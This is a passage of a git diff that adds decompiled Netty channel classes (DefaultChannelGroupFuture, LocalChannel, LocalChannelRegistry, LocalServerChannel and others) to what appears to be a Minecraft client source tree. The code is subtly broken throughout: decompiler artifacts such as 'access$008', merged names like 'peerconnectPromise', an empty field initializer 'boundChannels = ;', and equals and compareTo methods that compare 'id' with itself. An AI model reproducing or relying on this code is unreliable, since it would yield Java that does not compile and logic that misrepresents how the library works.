+    return StringUtil.simpleClassName(this) + "(name: " + name() + ", size: " + size() + ')';
+  }
+}
diff --git a/src/minecraft/io/netty/channel/group/DefaultChannelGroupFuture.java b/src/minecraft/io/netty/channel/group/DefaultChannelGroupFuture.java
new file mode 100644
index 0000000..89618f9
--- /dev/null
+++ b/src/minecraft/io/netty/channel/group/DefaultChannelGroupFuture.java
@@ -0,0 +1,264 @@
+package io.netty.channel.group;
+
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.util.concurrent.BlockingOperationException;
+import io.netty.util.concurrent.DefaultPromise;
+import io.netty.util.concurrent.EventExecutor;
+import io.netty.util.concurrent.Future;
+import io.netty.util.concurrent.GenericFutureListener;
+import io.netty.util.concurrent.ImmediateEventExecutor;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.LinkedHashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class DefaultChannelGroupFuture
+  extends DefaultPromise<Void>
+  implements ChannelGroupFuture
+{
+  private final ChannelGroup group;
+  private final Map<Channel, ChannelFuture> futures;
+  private int successCount;
+  private int failureCount;
+  private final ChannelFutureListener childListener = new ChannelFutureListener()
+  {
+    public void operationComplete(ChannelFuture future) throws Exception {
+      boolean success = future.isSuccess();
+      boolean callSetDone;
+      synchronized (DefaultChannelGroupFuture.this) {
+        if (success) {
+          DefaultChannelGroupFuture.access$008(DefaultChannelGroupFuture.this);
+        } else {
+          DefaultChannelGroupFuture.access$108(DefaultChannelGroupFuture.this);
+        }
+        
+        callSetDone = successCount + failureCount == futures.size();
+        if ((!$assertionsDisabled) && (successCount + failureCount > futures.size())) { throw new AssertionError();
+        }
+      }
+      if (callSetDone) {
+        if (failureCount > 0) {
+          List<Map.Entry<Channel, Throwable>> failed = new ArrayList(failureCount);
+          
+          for (ChannelFuture f : futures.values()) {
+            if (!f.isSuccess()) {
+              failed.add(new DefaultChannelGroupFuture.DefaultEntry(f.channel(), f.cause()));
+            }
+          }
+          DefaultChannelGroupFuture.this.setFailure0(new ChannelGroupException(failed));
+        } else {
+          DefaultChannelGroupFuture.this.setSuccess0();
+        }
+      }
+    }
+  };
+  
+
+
+  DefaultChannelGroupFuture(ChannelGroup group, Collection<ChannelFuture> futures, EventExecutor executor)
+  {
+    super(executor);
+    if (group == null) {
+      throw new NullPointerException("group");
+    }
+    if (futures == null) {
+      throw new NullPointerException("futures");
+    }
+    
+    this.group = group;
+    
+    Map<Channel, ChannelFuture> futureMap = new LinkedHashMap();
+    for (ChannelFuture f : futures) {
+      futureMap.put(f.channel(), f);
+    }
+    
+    this.futures = Collections.unmodifiableMap(futureMap);
+    
+    for (ChannelFuture f : this.futures.values()) {
+      f.addListener(childListener);
+    }
+    
+
+    if (this.futures.isEmpty()) {
+      setSuccess0();
+    }
+  }
+  
+  DefaultChannelGroupFuture(ChannelGroup group, Map<Channel, ChannelFuture> futures, EventExecutor executor) {
+    super(executor);
+    this.group = group;
+    this.futures = Collections.unmodifiableMap(futures);
+    for (ChannelFuture f : this.futures.values()) {
+      f.addListener(childListener);
+    }
+    
+
+    if (this.futures.isEmpty()) {
+      setSuccess0();
+    }
+  }
+  
+  public ChannelGroup group()
+  {
+    return group;
+  }
+  
+  public ChannelFuture find(Channel channel)
+  {
+    return (ChannelFuture)futures.get(channel);
+  }
+  
+  public Iterator<ChannelFuture> iterator()
+  {
+    return futures.values().iterator();
+  }
+  
+  public synchronized boolean isPartialSuccess()
+  {
+    return (successCount != 0) && (successCount != futures.size());
+  }
+  
+  public synchronized boolean isPartialFailure()
+  {
+    return (failureCount != 0) && (failureCount != futures.size());
+  }
+  
+  public DefaultChannelGroupFuture addListener(GenericFutureListener<? extends Future<? super Void>> listener)
+  {
+    super.addListener(listener);
+    return this;
+  }
+  
+  public DefaultChannelGroupFuture addListeners(GenericFutureListener<? extends Future<? super Void>>... listeners)
+  {
+    super.addListeners(listeners);
+    return this;
+  }
+  
+  public DefaultChannelGroupFuture removeListener(GenericFutureListener<? extends Future<? super Void>> listener)
+  {
+    super.removeListener(listener);
+    return this;
+  }
+  
+
+  public DefaultChannelGroupFuture removeListeners(GenericFutureListener<? extends Future<? super Void>>... listeners)
+  {
+    super.removeListeners(listeners);
+    return this;
+  }
+  
+  public DefaultChannelGroupFuture await() throws InterruptedException
+  {
+    super.await();
+    return this;
+  }
+  
+  public DefaultChannelGroupFuture awaitUninterruptibly()
+  {
+    super.awaitUninterruptibly();
+    return this;
+  }
+  
+  public DefaultChannelGroupFuture syncUninterruptibly()
+  {
+    super.syncUninterruptibly();
+    return this;
+  }
+  
+  public DefaultChannelGroupFuture sync() throws InterruptedException
+  {
+    super.sync();
+    return this;
+  }
+  
+  public ChannelGroupException cause()
+  {
+    return (ChannelGroupException)super.cause();
+  }
+  
+  private void setSuccess0() {
+    super.setSuccess(null);
+  }
+  
+  private void setFailure0(ChannelGroupException cause) {
+    super.setFailure(cause);
+  }
+  
+  public DefaultChannelGroupFuture setSuccess(Void result)
+  {
+    throw new IllegalStateException();
+  }
+  
+  public boolean trySuccess(Void result)
+  {
+    throw new IllegalStateException();
+  }
+  
+  public DefaultChannelGroupFuture setFailure(Throwable cause)
+  {
+    throw new IllegalStateException();
+  }
+  
+  public boolean tryFailure(Throwable cause)
+  {
+    throw new IllegalStateException();
+  }
+  
+  protected void checkDeadLock()
+  {
+    EventExecutor e = executor();
+    if ((e != null) && (e != ImmediateEventExecutor.INSTANCE) && (e.inEventLoop())) {
+      throw new BlockingOperationException();
+    }
+  }
+  
+  private static final class DefaultEntry<K, V> implements Map.Entry<K, V> {
+    private final K key;
+    private final V value;
+    
+    DefaultEntry(K key, V value) {
+      this.key = key;
+      this.value = value;
+    }
+    
+    public K getKey()
+    {
+      return key;
+    }
+    
+    public V getValue()
+    {
+      return value;
+    }
+    
+    public V setValue(V value)
+    {
+      throw new UnsupportedOperationException("read-only");
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/channel/group/VoidChannelGroupFuture.java b/src/minecraft/io/netty/channel/group/VoidChannelGroupFuture.java
new file mode 100644
index 0000000..b122f96
--- /dev/null
+++ b/src/minecraft/io/netty/channel/group/VoidChannelGroupFuture.java
@@ -0,0 +1,169 @@
+package io.netty.channel.group;
+
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelFuture;
+import io.netty.util.concurrent.Future;
+import io.netty.util.concurrent.GenericFutureListener;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class VoidChannelGroupFuture
+  implements ChannelGroupFuture
+{
+  private static final Iterator<ChannelFuture> EMPTY = Collections.emptyList().iterator();
+  private final ChannelGroup group;
+  
+  VoidChannelGroupFuture(ChannelGroup group) {
+    this.group = group;
+  }
+  
+  public ChannelGroup group()
+  {
+    return group;
+  }
+  
+  public ChannelFuture find(Channel channel)
+  {
+    return null;
+  }
+  
+  public boolean isSuccess()
+  {
+    return false;
+  }
+  
+  public ChannelGroupException cause()
+  {
+    return null;
+  }
+  
+  public boolean isPartialSuccess()
+  {
+    return false;
+  }
+  
+  public boolean isPartialFailure()
+  {
+    return false;
+  }
+  
+  public ChannelGroupFuture addListener(GenericFutureListener<? extends Future<? super Void>> listener)
+  {
+    throw reject();
+  }
+  
+  public ChannelGroupFuture addListeners(GenericFutureListener<? extends Future<? super Void>>... listeners)
+  {
+    throw reject();
+  }
+  
+  public ChannelGroupFuture removeListener(GenericFutureListener<? extends Future<? super Void>> listener)
+  {
+    throw reject();
+  }
+  
+  public ChannelGroupFuture removeListeners(GenericFutureListener<? extends Future<? super Void>>... listeners)
+  {
+    throw reject();
+  }
+  
+  public ChannelGroupFuture await()
+  {
+    throw reject();
+  }
+  
+  public ChannelGroupFuture awaitUninterruptibly()
+  {
+    throw reject();
+  }
+  
+  public ChannelGroupFuture syncUninterruptibly()
+  {
+    throw reject();
+  }
+  
+  public ChannelGroupFuture sync()
+  {
+    throw reject();
+  }
+  
+  public Iterator<ChannelFuture> iterator()
+  {
+    return EMPTY;
+  }
+  
+  public boolean isCancellable()
+  {
+    return false;
+  }
+  
+  public boolean await(long timeout, TimeUnit unit)
+  {
+    throw reject();
+  }
+  
+  public boolean await(long timeoutMillis)
+  {
+    throw reject();
+  }
+  
+  public boolean awaitUninterruptibly(long timeout, TimeUnit unit)
+  {
+    throw reject();
+  }
+  
+  public boolean awaitUninterruptibly(long timeoutMillis)
+  {
+    throw reject();
+  }
+  
+  public Void getNow()
+  {
+    return null;
+  }
+  
+  public boolean cancel(boolean mayInterruptIfRunning)
+  {
+    return false;
+  }
+  
+  public boolean isCancelled()
+  {
+    return false;
+  }
+  
+  public boolean isDone()
+  {
+    return false;
+  }
+  
+  public Void get()
+  {
+    throw reject();
+  }
+  
+  public Void get(long timeout, TimeUnit unit)
+  {
+    throw reject();
+  }
+  
+  private static RuntimeException reject() {
+    return new IllegalStateException("void future");
+  }
+}
diff --git a/src/minecraft/io/netty/channel/local/LocalAddress.java b/src/minecraft/io/netty/channel/local/LocalAddress.java
new file mode 100644
index 0000000..95ab31f
--- /dev/null
+++ b/src/minecraft/io/netty/channel/local/LocalAddress.java
@@ -0,0 +1,94 @@
+package io.netty.channel.local;
+
+import io.netty.channel.Channel;
+import java.net.SocketAddress;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class LocalAddress
+  extends SocketAddress
+  implements Comparable<LocalAddress>
+{
+  private static final long serialVersionUID = 4644331421130916435L;
+  public static final LocalAddress ANY = new LocalAddress("ANY");
+  
+
+  private final String id;
+  
+
+  private final String strVal;
+  
+
+  LocalAddress(Channel channel)
+  {
+    StringBuilder buf = new StringBuilder(16);
+    buf.append("local:E");
+    buf.append(Long.toHexString(channel.hashCode() & 0xFFFFFFFF | 0x100000000));
+    buf.setCharAt(7, ':');
+    id = buf.substring(6);
+    strVal = buf.toString();
+  }
+  
+
+
+  public LocalAddress(String id)
+  {
+    if (id == null) {
+      throw new NullPointerException("id");
+    }
+    id = id.trim().toLowerCase();
+    if (id.isEmpty()) {
+      throw new IllegalArgumentException("empty id");
+    }
+    this.id = id;
+    strVal = ("local:" + id);
+  }
+  
+
+
+  public String id()
+  {
+    return id;
+  }
+  
+  public int hashCode()
+  {
+    return id.hashCode();
+  }
+  
+  public boolean equals(Object o)
+  {
+    if (!(o instanceof LocalAddress)) {
+      return false;
+    }
+    
+    return id.equals(id);
+  }
+  
+  public int compareTo(LocalAddress o)
+  {
+    return id.compareTo(id);
+  }
+  
+  public String toString()
+  {
+    return strVal;
+  }
+}
diff --git a/src/minecraft/io/netty/channel/local/LocalChannel.java b/src/minecraft/io/netty/channel/local/LocalChannel.java
new file mode 100644
index 0000000..ae08b26
--- /dev/null
+++ b/src/minecraft/io/netty/channel/local/LocalChannel.java
@@ -0,0 +1,383 @@
+package io.netty.channel.local;
+
+import io.netty.channel.AbstractChannel;
+import io.netty.channel.AbstractChannel.AbstractUnsafe;
+import io.netty.channel.Channel;
+import io.netty.channel.Channel.Unsafe;
+import io.netty.channel.ChannelConfig;
+import io.netty.channel.ChannelException;
+import io.netty.channel.ChannelMetadata;
+import io.netty.channel.ChannelOutboundBuffer;
+import io.netty.channel.ChannelPipeline;
+import io.netty.channel.ChannelPromise;
+import io.netty.channel.DefaultChannelConfig;
+import io.netty.channel.EventLoop;
+import io.netty.channel.SingleThreadEventLoop;
+import io.netty.util.ReferenceCountUtil;
+import io.netty.util.concurrent.SingleThreadEventExecutor;
+import io.netty.util.internal.InternalThreadLocalMap;
+import java.net.SocketAddress;
+import java.nio.channels.AlreadyConnectedException;
+import java.nio.channels.ClosedChannelException;
+import java.nio.channels.ConnectionPendingException;
+import java.nio.channels.NotYetConnectedException;
+import java.util.ArrayDeque;
+import java.util.Collections;
+import java.util.Queue;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class LocalChannel
+  extends AbstractChannel
+{
+  private static final ChannelMetadata METADATA = new ChannelMetadata(false);
+  
+  private static final int MAX_READER_STACK_DEPTH = 8;
+  
+  private final ChannelConfig config = new DefaultChannelConfig(this);
+  private final Queue<Object> inboundBuffer = new ArrayDeque();
+  private final Runnable readTask = new Runnable()
+  {
+    public void run() {
+      ChannelPipeline pipeline = pipeline();
+      for (;;) {
+        Object m = inboundBuffer.poll();
+        if (m == null) {
+          break;
+        }
+        pipeline.fireChannelRead(m);
+      }
+      pipeline.fireChannelReadComplete();
+    }
+  };
+  
+  private final Runnable shutdownHook = new Runnable()
+  {
+    public void run() {
+      unsafe().close(unsafe().voidPromise());
+    }
+  };
+  private volatile int state;
+  private volatile LocalChannel peer;
+  private volatile LocalAddress localAddress;
+  private volatile LocalAddress remoteAddress;
+  private volatile ChannelPromise connectPromise;
+  private volatile boolean readInProgress;
+  private volatile boolean registerInProgress;
+  
+  public LocalChannel()
+  {
+    super(null);
+  }
+  
+  LocalChannel(LocalServerChannel parent, LocalChannel peer) {
+    super(parent);
+    this.peer = peer;
+    localAddress = parent.localAddress();
+    remoteAddress = peer.localAddress();
+  }
+  
+  public ChannelMetadata metadata()
+  {
+    return METADATA;
+  }
+  
+  public ChannelConfig config()
+  {
+    return config;
+  }
+  
+  public LocalServerChannel parent()
+  {
+    return (LocalServerChannel)super.parent();
+  }
+  
+  public LocalAddress localAddress()
+  {
+    return (LocalAddress)super.localAddress();
+  }
+  
+  public LocalAddress remoteAddress()
+  {
+    return (LocalAddress)super.remoteAddress();
+  }
+  
+  public boolean isOpen()
+  {
+    return state < 3;
+  }
+  
+  public boolean isActive()
+  {
+    return state == 2;
+  }
+  
+  protected AbstractChannel.AbstractUnsafe newUnsafe()
+  {
+    return new LocalUnsafe(null);
+  }
+  
+  protected boolean isCompatible(EventLoop loop)
+  {
+    return loop instanceof SingleThreadEventLoop;
+  }
+  
+  protected SocketAddress localAddress0()
+  {
+    return localAddress;
+  }
+  
+  protected SocketAddress remoteAddress0()
+  {
+    return remoteAddress;
+  }
+  
+
+
+
+
+  protected void doRegister()
+    throws Exception
+  {
+    if ((this.peer != null) && (parent() != null))
+    {
+
+
+
+
+
+      final LocalChannel peer = this.peer;
+      registerInProgress = true;
+      state = 2;
+      
+      remoteAddress = parent().localAddress();
+      state = 2;
+      
+
+
+
+
+      peer.eventLoop().execute(new Runnable()
+      {
+        public void run() {
+          registerInProgress = false;
+          peer.pipeline().fireChannelActive();
+          peerconnectPromise.setSuccess();
+        }
+      });
+    }
+    ((SingleThreadEventExecutor)eventLoop()).addShutdownHook(shutdownHook);
+  }
+  
+  protected void doBind(SocketAddress localAddress) throws Exception
+  {
+    this.localAddress = LocalChannelRegistry.register(this, this.localAddress, localAddress);
+    
+
+    state = 1;
+  }
+  
+  protected void doDisconnect() throws Exception
+  {
+    doClose();
+  }
+  
+  protected void doClose() throws Exception
+  {
+    if (state <= 2)
+    {
+      if (localAddress != null) {
+        if (parent() == null) {
+          LocalChannelRegistry.unregister(localAddress);
+        }
+        localAddress = null;
+      }
+      state = 3;
+    }
+    
+    final LocalChannel peer = this.peer;
+    if ((peer != null) && (peer.isActive()))
+    {
+
+      EventLoop eventLoop = peer.eventLoop();
+      
+
+
+
+
+      if ((eventLoop.inEventLoop()) && (!registerInProgress)) {
+        peer.unsafe().close(unsafe().voidPromise());
+      } else {
+        peer.eventLoop().execute(new Runnable()
+        {
+          public void run() {
+            peer.unsafe().close(unsafe().voidPromise());
+          }
+        });
+      }
+      this.peer = null;
+    }
+  }
+  
+  protected void doDeregister()
+    throws Exception
+  {
+    ((SingleThreadEventExecutor)eventLoop()).removeShutdownHook(shutdownHook);
+  }
+  
+  protected void doBeginRead() throws Exception
+  {
+    if (readInProgress) {
+      return;
+    }
+    
+    ChannelPipeline pipeline = pipeline();
+    Queue<Object> inboundBuffer = this.inboundBuffer;
+    if (inboundBuffer.isEmpty()) {
+      readInProgress = true;
+      return;
+    }
+    
+    InternalThreadLocalMap threadLocals = InternalThreadLocalMap.get();
+    Integer stackDepth = Integer.valueOf(threadLocals.localChannelReaderStackDepth());
+    if (stackDepth.intValue() < 8) {
+      threadLocals.setLocalChannelReaderStackDepth(stackDepth.intValue() + 1);
+      try {
+        for (;;) {
+          Object received = inboundBuffer.poll();
+          if (received == null) {
+            break;
+          }
+          pipeline.fireChannelRead(received);
+        }
+        pipeline.fireChannelReadComplete();
+      } finally {
+        threadLocals.setLocalChannelReaderStackDepth(stackDepth.intValue());
+      }
+    } else {
+      eventLoop().execute(readTask);
+    }
+  }
+  
+  protected void doWrite(ChannelOutboundBuffer in) throws Exception
+  {
+    if (state < 2) {
+      throw new NotYetConnectedException();
+    }
+    if (state > 2) {
+      throw new ClosedChannelException();
+    }
+    
+    final LocalChannel peer = this.peer;
+    final ChannelPipeline peerPipeline = peer.pipeline();
+    EventLoop peerLoop = peer.eventLoop();
+    
+    if (peerLoop == eventLoop()) {
+      for (;;) {
+        Object msg = in.current();
+        if (msg == null) {
+          break;
+        }
+        inboundBuffer.add(msg);
+        ReferenceCountUtil.retain(msg);
+        in.remove();
+      }
+      finishPeerRead(peer, peerPipeline);
+    }
+    else {
+      final Object[] msgsCopy = new Object[in.size()];
+      for (int i = 0; i < msgsCopy.length; i++) {
+        msgsCopy[i] = ReferenceCountUtil.retain(in.current());
+        in.remove();
+      }
+      
+      peerLoop.execute(new Runnable()
+      {
+        public void run() {
+          Collections.addAll(peerinboundBuffer, msgsCopy);
+          LocalChannel.finishPeerRead(peer, peerPipeline);
+        }
+      });
+    }
+  }
+  
+  private static void finishPeerRead(LocalChannel peer, ChannelPipeline peerPipeline) {
+    if (readInProgress) {
+      readInProgress = false;
+      for (;;) {
+        Object received = inboundBuffer.poll();
+        if (received == null) {
+          break;
+        }
+        peerPipeline.fireChannelRead(received);
+      }
+      peerPipeline.fireChannelReadComplete();
+    }
+  }
+  
+  private class LocalUnsafe extends AbstractChannel.AbstractUnsafe { private LocalUnsafe() { super(); }
+    
+
+    public void connect(SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise)
+    {
+      if ((!promise.setUncancellable()) || (!ensureOpen(promise))) {
+        return;
+      }
+      
+      if (state == 2) {
+        Exception cause = new AlreadyConnectedException();
+        safeSetFailure(promise, cause);
+        pipeline().fireExceptionCaught(cause);
+        return;
+      }
+      
+      if (connectPromise != null) {
+        throw new ConnectionPendingException();
+      }
+      
+      connectPromise = promise;
+      
+      if (state != 1)
+      {
+        if (localAddress == null) {
+          localAddress = new LocalAddress(LocalChannel.this);
+        }
+      }
+      
+      if (localAddress != null) {
+        try {
+          doBind(localAddress);
+        } catch (Throwable t) {
+          safeSetFailure(promise, t);
+          close(voidPromise());
+          return;
+        }
+      }
+      
+      Channel boundChannel = LocalChannelRegistry.get(remoteAddress);
+      if (!(boundChannel instanceof LocalServerChannel)) {
+        Exception cause = new ChannelException("connection refused");
+        safeSetFailure(promise, cause);
+        close(voidPromise());
+        return;
+      }
+      
+      LocalServerChannel serverChannel = (LocalServerChannel)boundChannel;
+      peer = serverChannel.serve(LocalChannel.this);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/channel/local/LocalChannelRegistry.java b/src/minecraft/io/netty/channel/local/LocalChannelRegistry.java
new file mode 100644
index 0000000..d1feb4f
--- /dev/null
+++ b/src/minecraft/io/netty/channel/local/LocalChannelRegistry.java
@@ -0,0 +1,60 @@
+package io.netty.channel.local;
+
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelException;
+import io.netty.util.internal.PlatformDependent;
+import io.netty.util.internal.StringUtil;
+import java.net.SocketAddress;
+import java.util.concurrent.ConcurrentMap;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class LocalChannelRegistry
+{
+  private static final ConcurrentMap<LocalAddress, Channel> boundChannels = ;
+  
+  static LocalAddress register(Channel channel, LocalAddress oldLocalAddress, SocketAddress localAddress)
+  {
+    if (oldLocalAddress != null) {
+      throw new ChannelException("already bound");
+    }
+    if (!(localAddress instanceof LocalAddress)) {
+      throw new ChannelException("unsupported address type: " + StringUtil.simpleClassName(localAddress));
+    }
+    
+    LocalAddress addr = (LocalAddress)localAddress;
+    if (LocalAddress.ANY.equals(addr)) {
+      addr = new LocalAddress(channel);
+    }
+    
+    Channel boundChannel = (Channel)boundChannels.putIfAbsent(addr, channel);
+    if (boundChannel != null) {
+      throw new ChannelException("address already in use by: " + boundChannel);
+    }
+    return addr;
+  }
+  
+  static Channel get(SocketAddress localAddress) {
+    return (Channel)boundChannels.get(localAddress);
+  }
+  
+  static void unregister(LocalAddress localAddress) {
+    boundChannels.remove(localAddress);
+  }
+  
+  private LocalChannelRegistry() {}
+}
diff --git a/src/minecraft/io/netty/channel/local/LocalEventLoop.java b/src/minecraft/io/netty/channel/local/LocalEventLoop.java
new file mode 100644
index 0000000..50a3a70
--- /dev/null
+++ b/src/minecraft/io/netty/channel/local/LocalEventLoop.java
@@ -0,0 +1,42 @@
+package io.netty.channel.local;
+
+import io.netty.channel.SingleThreadEventLoop;
+import java.util.concurrent.ThreadFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class LocalEventLoop
+  extends SingleThreadEventLoop
+{
+  LocalEventLoop(LocalEventLoopGroup parent, ThreadFactory threadFactory)
+  {
+    super(parent, threadFactory, true);
+  }
+  
+  protected void run()
+  {
+    for (;;) {
+      Runnable task = takeTask();
+      if (task != null) {
+        task.run();
+        updateLastExecutionTime();
+      }
+      
+      if (confirmShutdown()) {
+        break;
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/channel/local/LocalEventLoopGroup.java b/src/minecraft/io/netty/channel/local/LocalEventLoopGroup.java
new file mode 100644
index 0000000..2480fb5
--- /dev/null
+++ b/src/minecraft/io/netty/channel/local/LocalEventLoopGroup.java
@@ -0,0 +1,59 @@
+package io.netty.channel.local;
+
+import io.netty.channel.MultithreadEventLoopGroup;
+import io.netty.util.concurrent.EventExecutor;
+import java.util.concurrent.ThreadFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class LocalEventLoopGroup
+  extends MultithreadEventLoopGroup
+{
+  public LocalEventLoopGroup()
+  {
+    this(0);
+  }
+  
+
+
+
+
+  public LocalEventLoopGroup(int nThreads)
+  {
+    this(nThreads, null);
+  }
+  
+
+
+
+
+
+  public LocalEventLoopGroup(int nThreads, ThreadFactory threadFactory)
+  {
+    super(nThreads, threadFactory, new Object[0]);
+  }
+  
+  protected EventExecutor newChild(ThreadFactory threadFactory, Object... args)
+    throws Exception
+  {
+    return new LocalEventLoop(this, threadFactory);
+  }
+}
diff --git a/src/minecraft/io/netty/channel/local/LocalServerChannel.java b/src/minecraft/io/netty/channel/local/LocalServerChannel.java
new file mode 100644
index 0000000..805ed41
--- /dev/null
+++ b/src/minecraft/io/netty/channel/local/LocalServerChannel.java
@@ -0,0 +1,165 @@
+package io.netty.channel.local;
+
+import io.netty.channel.AbstractServerChannel;
+import io.netty.channel.Channel.Unsafe;
+import io.netty.channel.ChannelConfig;
+import io.netty.channel.ChannelPipeline;
+import io.netty.channel.DefaultChannelConfig;
+import io.netty.channel.EventLoop;
+import io.netty.channel.SingleThreadEventLoop;
+import io.netty.util.concurrent.SingleThreadEventExecutor;
+import java.net.SocketAddress;
+import java.util.ArrayDeque;
+import java.util.Queue;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class LocalServerChannel
+  extends AbstractServerChannel
+{
+  private final ChannelConfig config = new DefaultChannelConfig(this);
+  private final Queue<Object> inboundBuffer = new ArrayDeque();
+  private final Runnable shutdownHook = new Runnable()
+  {
+    public void run() {
+      unsafe().close(unsafe().voidPromise());
+    }
+  };
+  private volatile int state;
+  private volatile LocalAddress localAddress;
+  private volatile boolean acceptInProgress;
+  
+  public LocalServerChannel() {}
+  
+  public ChannelConfig config() {
+    return config;
+  }
+  
+  public LocalAddress localAddress()
+  {
+    return (LocalAddress)super.localAddress();
+  }
+  
+  public LocalAddress remoteAddress()
+  {
+    return (LocalAddress)super.remoteAddress();
+  }
+  
+  public boolean isOpen()
+  {
+    return state < 2;
+  }
+  
+  public boolean isActive()
+  {
+    return state == 1;
+  }
+  
+  protected boolean isCompatible(EventLoop loop)
+  {
+    return loop instanceof SingleThreadEventLoop;
+  }
+  
+  protected SocketAddress localAddress0()
+  {
+    return localAddress;
+  }
+  
+  protected void doRegister() throws Exception
+  {
+    ((SingleThreadEventExecutor)eventLoop()).addShutdownHook(shutdownHook);
+  }
+  
+  protected void doBind(SocketAddress localAddress) throws Exception
+  {
+    this.localAddress = LocalChannelRegistry.register(this, this.localAddress, localAddress);
+    state = 1;
+  }
+  
+  protected void doClose() throws Exception
+  {
+    if (state <= 1)
+    {
+      if (localAddress != null) {
+        LocalChannelRegistry.unregister(localAddress);
+        localAddress = null;
+      }
+      state = 2;
+    }
+  }
+  
+  protected void doDeregister() throws Exception
+  {
+    ((SingleThreadEventExecutor)eventLoop()).removeShutdownHook(shutdownHook);
+  }
+  
+  protected void doBeginRead() throws Exception
+  {
+    if (acceptInProgress) {
+      return;
+    }
+    
+    Queue<Object> inboundBuffer = this.inboundBuffer;
+    if (inboundBuffer.isEmpty()) {
+      acceptInProgress = true;
+      return;
+    }
+    
+    ChannelPipeline pipeline = pipeline();
+    for (;;) {
+      Object m = inboundBuffer.poll();
+      if (m == null) {
+        break;
+      }
+      pipeline.fireChannelRead(m);
+    }
+    pipeline.fireChannelReadComplete();
+  }
+  
+  LocalChannel serve(LocalChannel peer) {
+    final LocalChannel child = new LocalChannel(this, peer);
+    if (eventLoop().inEventLoop()) {
+      serve0(child);
+    } else {
+      eventLoop().execute(new Runnable()
+      {
+        public void run() {
+          LocalServerChannel.this.serve0(child);
+        }
+      });
+    }
+    return child;
+  }
+  
+  private void serve0(LocalChannel child) {
+    inboundBuffer.add(child);
+    if (acceptInProgress) {
+      acceptInProgress = false;
+      ChannelPipeline pipeline = pipeline();
+      for (;;) {
+        Object m = inboundBuffer.poll();
+        if (m == null) {
+          break;
+        }
+        pipeline.fireChannelRead(m);
+      }
+      pipeline.fireChannelReadComplete();
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/channel/local/PreferHeapByteBufAllocator.java b/src/minecraft/io/netty/channel/local/PreferHeapByteBufAllocator.java
new file mode 100644
index 0000000..95613e0
--- /dev/null
+++ b/src/minecraft/io/netty/channel/local/PreferHeapByteBufAllocator.java
@@ -0,0 +1,132 @@
+package io.netty.channel.local;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.buffer.CompositeByteBuf;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class PreferHeapByteBufAllocator
+  implements ByteBufAllocator
+{
+  private final ByteBufAllocator allocator;
+  
+  PreferHeapByteBufAllocator(ByteBufAllocator allocator)
+  {
+    this.allocator = allocator;
+  }
+  
+  public ByteBuf buffer()
+  {
+    return allocator.heapBuffer();
+  }
+  
+  public ByteBuf buffer(int initialCapacity)
+  {
+    return allocator.heapBuffer(initialCapacity);
+  }
+  
+  public ByteBuf buffer(int initialCapacity, int maxCapacity)
+  {
+    return allocator.heapBuffer(initialCapacity, maxCapacity);
+  }
+  
+  public ByteBuf ioBuffer()
+  {
+    return allocator.heapBuffer();
+  }
+  
+  public ByteBuf ioBuffer(int initialCapacity)
+  {
+    return allocator.heapBuffer(initialCapacity);
+  }
+  
+  public ByteBuf ioBuffer(int initialCapacity, int maxCapacity)
+  {
+    return allocator.heapBuffer(initialCapacity, maxCapacity);
+  }
+  
+  public ByteBuf heapBuffer()
+  {
+    return allocator.heapBuffer();
+  }
+  
+  public ByteBuf heapBuffer(int initialCapacity)
+  {
+    return allocator.heapBuffer(initialCapacity);
+  }
+  
+  public ByteBuf heapBuffer(int initialCapacity, int maxCapacity)
+  {
+    return allocator.heapBuffer(initialCapacity, maxCapacity);
+  }
+  
+  public ByteBuf directBuffer()
+  {
+    return allocator.directBuffer();
+  }
+  
+  public ByteBuf directBuffer(int initialCapacity)
+  {
+    return allocator.directBuffer(initialCapacity);
+  }
+  
+  public ByteBuf directBuffer(int initialCapacity, int maxCapacity)
+  {
+    return allocator.directBuffer(initialCapacity, maxCapacity);
+  }
+  
+  public CompositeByteBuf compositeBuffer()
+  {
+    return allocator.compositeHeapBuffer();
+  }
+  
+  public CompositeByteBuf compositeBuffer(int maxNumComponents)
+  {
+    return allocator.compositeHeapBuffer(maxNumComponents);
+  }
+  
+  public CompositeByteBuf compositeHeapBuffer()
+  {
+    return allocator.compositeHeapBuffer();
+  }
+  
+  public CompositeByteBuf compositeHeapBuffer(int maxNumComponents)
+  {
+    return allocator.compositeHeapBuffer(maxNumComponents);
+  }
+  
+  public CompositeByteBuf compositeDirectBuffer()
+  {
+    return allocator.compositeDirectBuffer();
+  }
+  
+  public CompositeByteBuf compositeDirectBuffer(int maxNumComponents)
+  {
+    return allocator.compositeDirectBuffer(maxNumComponents);
+  }
+  
+  public boolean isDirectBufferPooled()
+  {
+    return allocator.isDirectBufferPooled();
+  }
+  
+  public int calculateNewCapacity(int minNewCapacity, int maxCapacity)
+  {
+    return allocator.calculateNewCapacity(minNewCapacity, maxCapacity);
+  }
+}
diff --git a/src/minecraft/io/netty/channel/nio/AbstractNioByteChannel.java b/src/minecraft/io/netty/channel/nio/AbstractNioByteChannel.java
new file mode 100644
index 0000000..576508c
--- /dev/null
+++ b/src/minecraft/io/netty/channel/nio/AbstractNioByteChannel.java
@@ -0,0 +1,346 @@
+package io.netty.channel.nio;
+
